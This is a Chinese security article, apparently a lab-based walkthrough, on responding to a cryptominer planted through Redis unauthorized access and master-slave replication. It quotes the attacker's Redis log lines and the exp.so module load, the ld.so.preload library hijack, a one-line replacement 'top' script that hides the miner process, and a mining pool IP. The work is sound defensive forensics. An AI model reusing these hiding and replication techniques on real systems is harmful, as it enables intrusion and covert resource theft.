一次挖矿病毒处置真实案例

admin 2026-05-08 05:39:33 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 某能源企业服务器因Redis未授权漏洞遭攻击者利用主从复制机制植入挖矿病毒,导致CPU异常占用。分析发现攻击通过SSH爆破尝试后以私钥认证入侵,并利用动态库劫持(libuClibc_cola.so)和命令篡改(top伪装)隐藏恶意进程dnsmasq。处置措施包括删除恶意服务、清理劫持文件及终止矿池连接,最终恢复系统正常。 综合评分: 85 文章分类: 应急响应,恶意软件,漏洞分析,安全运营,实战经验


cover_image

一次挖矿病毒处置真实案例

原创

安全攻防屋 安全攻防屋

安全攻防屋

2026年5月6日 18:29 浙江

在小说阅读器读本章

去阅读

涉及到的敏感信息已打码

某能源企业运维人员在日常巡检中发现一台对外开放了6379端口的服务器CPU长时间占用率异常升高,影响正常业务,怀疑被感染了挖矿病毒。

发现Redis数据库攻击事件

步骤一:发现CPU高占用事件

进入创建的目标靶机中,执行【top】命令,发现内核CPU占比持续高达90%多,同时在进程列表中,并没有发现哪一个进程的CPU占比较高。

步骤二:发现ssh爆破攻击行为

查看审计登录日志【cat /var/log/auth.log】,发现在非常紧凑的时间内存在大量xx.xx.xx.xx该ip登录失败的记录,由此可知xx.xx.xx.xx是攻击者ip,并在3月3日这天对主机进行了ssh口令爆破。

进一步追踪会发现攻击者并没有爆破成功,最后是在【09:18:29】该时间点通过私钥认证的方式进入的主机。

步骤三:发现数据库入侵事件

由该实验背景可知,主机对外开放了6379端口,对应redis服务,查看redis日志【cat /var/log/redis/redis-server.log | grep “xx.xx.xx.xx”】,发现攻击者在【03 Mar 08:18:38】该时间点第一次登录了redis数据库,排查会发现靶机的redis数据库存在未授权漏洞,无需密码即可登录。

进一步分析redis日志, 会发现xx.xx.xx.xx:59054 与 Redis 实例建立了连接,执行了 SLAVE OF xx.xx.xx.xx:1234 命令,将当前服务器设置为 xx.xx.xx.xx:1234 的从服务器。

9463:S 03 Mar 08:41:33.448* SLAVE OF xx.xx.xx.xx:1234 enabled (user request from'id=6 addr=xx.xx.xx.xx:59054 fd=7 name=  age=0 idle=0 flags=N db=0 sub=0 psub=0 multi=-1 qbuf=0  qbuf-free=32768 obl=0 oll=0 omem=0 events=r cmd=slaveof')

成功连接后,Redis 启动主从同步过程,进行了全量同步,并从主服务器加载数据。

9463:S&nbsp;03&nbsp;Mar&nbsp;08:41:35.923&nbsp;* MASTER <-> SLAVE sync: receiving&nbsp;44312&nbsp;bytes from master

日志显示加载了名为 system 的 Redis 模块 ./exp.so

9463:S&nbsp;03&nbsp;Mar&nbsp;08:41:37.924&nbsp;* Module 'system' loaded from ./exp.so

完成复制并成功设置了新的主从复制 ID。

9463:M&nbsp;03&nbsp;Mar&nbsp;08:41:37.925&nbsp;* MASTER MODE enabled

由此推知攻击者通过redis未授权漏洞,利用主从复制方式拿到服务器权限。

任务二:分析CPU高占用事件

步骤一:排查动态劫持攻击

根据前面排查得到的信息,执行【top】命令时发现内核CPU占比持续高达90%多,但在进程列表中,并没有发现哪一个进程的CPU占比较高。

怀疑攻击者对恶意进程进行隐藏,排查是否存在动态劫持事件,检查【cat /etc/ld.so.preload】,发现其加载了【libuClibc_cola.so】库文件。

进一步查看该文件详细信息【stat /usr/local/lib/libuClibc_cola.so】,发现其被修改时间和被攻击事件非常相近。

将libuClibc_cola.so下载下来,放到在线云沙箱上分析,发现其为恶意文件。

步骤二:排查命令篡改攻击

注释或删除掉【/etc/ld.so.preload】文件中的内容,再次使用top命令查看进程情况,发现依然没有发现可疑进程,怀疑top命令有被修改过,【stat /usr/bin/top】查看命令的详细信息,发现该命令在被攻击附近的时间被修改过内容。

使用【file /usr/bin/top】查看发现是个文本文件。

查看其内容【cat  /usr/bin/top】,能够看到攻击者只是简单的将命令进行替换,将原始的top命令改成了【.top】,接着重新创建了top命令,运行原始的【.top】并将结果过滤dnsmasq关键词,达到隐藏恶意进程的目的。

#!/bin/bash/usr/bin/.top | grep -v&nbsp;"dnsmasq"

删除该top文件【rm /usr/bin/top】,并将.top改回成top【mv /usr/bin/.top /usr/bin/top】,再次执行top命令,发现恶意进程【dnsmasq】。

使用kill命令结束该恶意进程【kill -9 PID】,再次使用top命令,发现CPU恢复正常。

步骤三:发现矿池IP

在使用kill命令结束掉恶意进程之后,重启服务器会发现依然存在CPU高占用现象,怀疑存在开启自启服务,排查在被攻击时间段是否有创建过恶意服务【find /etc/systemd/system/ /lib/systemd/system/ -type f -newermt “2025-03-03 00:00:00” ! -newermt “2025-03-05 00:00:00″】,【syscola.service】服务在被攻击时间段被创建。

进一步查看该服务内容,其执行的是【/usr/bin/xxx.sh】脚本。

查看xxx.sh脚本内容【cat /usr/bin/xxx.sh】,在该脚本中发现了对前面排查到的恶意动态劫持文件的写入操作,已经脚本中执行恶意进程dnsmasq。

对脚本中的ip【80.211.206.105】进行分析,在线云沙箱【https://s.threatbook.com】中查询该ip,得到结论该ip为矿池ip,由此推知dnsmasq是攻击者上传的恶意挖矿程序。

停止并删除该恶意服务,并删除恶意脚本。

#


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:安全攻防屋 安全攻防屋 安全攻防屋《一次挖矿病毒处置真实案例》

评论:0   参与:  0